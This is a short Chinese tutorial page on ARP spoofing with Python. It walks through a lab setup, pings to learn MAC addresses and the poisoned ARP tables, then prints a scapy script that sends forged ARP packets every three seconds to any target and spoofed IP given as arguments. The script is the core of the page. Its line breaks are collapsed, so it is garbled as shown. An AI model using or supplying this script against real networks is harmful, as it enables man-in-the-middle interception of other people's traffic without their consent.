2000字范文,分享全网优秀范文,学习好帮手!
2000字范文 > 使用python实现arp欺骗

使用python实现arp欺骗

时间:2019-06-30 17:14:25

相关推荐

使用python实现arp欺骗

实验拓扑:

1.首先进行ping测试网关和kali,来获取mac地址

ping 192.168.72.131

ping 192.168.72.20

MAC地址对应结果如下:

2.进行使用脚本中间人欺骗,脚本放在最后

3.查看欺骗后的arp表,R1和PC1都认为对方的mac地址是7B-26,也就是kali的mac

python脚本:

import sysimport timefrom scapy.all import sendp, ARP, Etherif len(sys.argv) != 3:print(sys.argv[0] + ":<target_IP> <spoof_ip>")sys.exit()victimIP = sys.argv[1] # 接收第二个参数:target_IPgatewayIP = sys.argv[2]packet = Ether() / ARP(psrc=gatewayIP, pdst=victimIP) # 封装一个二层的ARP包,进行欺骗while True:sendp(packet) # 发送包time.sleep(3)print(packet.show())

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。